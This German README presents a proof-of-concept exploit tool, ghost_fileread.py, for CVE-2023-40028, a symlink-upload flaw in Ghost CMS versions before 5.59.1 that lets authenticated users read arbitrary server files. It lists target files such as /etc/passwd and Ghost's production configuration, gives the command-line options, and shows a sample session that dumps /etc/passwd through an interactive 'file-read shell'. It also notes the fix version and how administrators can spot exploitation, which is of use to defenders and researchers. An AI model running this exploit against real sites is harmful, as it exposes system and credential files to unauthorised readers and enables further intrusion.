
POC für CVE-2023-40028: Ghost CMS Beliebiger Dateizugriff (Arbitrary File Read)
Dieser Proof-of-Concept (POC) kann verwendet werden, um CVE-2023-40028 auszunutzen und Datei-Lesezugriff in Ghost CMS zu erlangen.
Ghost ist ein Open-Source-Content-Management-System (CMS). Versionen vor 5.59.1 sind anfällig für eine Schwachstelle, die es authentifizierten Benutzern ermöglicht, Dateien hochzuladen, die Symlinks sind. Dies kann ausgenutzt werden, um einen beliebigen Datei-Lesezugriff auf jede Datei des Host-Betriebssystems durchzuführen. Site-Administratoren können eine Ausnutzung dieses Problems überprüfen, indem sie nach unbekannten Symlinks im content/-Ordner von Ghost suchen. Version 5.59.1 enthält einen Fix für dieses Problem. Allen Benutzern wird empfohlen, ein Upgrade durchzuführen. Es sind keine bekannten Workarounds für diese Schwachstelle verfügbar.
Schweregrad: 6.5 MEDIUM Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Einige Klartext-Dateien (nicht binär), die von Interesse sein könnten:
/etc/hosts Linux lokale DNS-Auflösung/etc/passwd Linux-Benutzerkonten/etc/group Linux-Benutzergruppen/var/lib/ghost/config.local.json Ghost CMS lokale Konfiguration/var/lib/ghost/config.production.json Ghost CMS Produktionskonfigurationusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash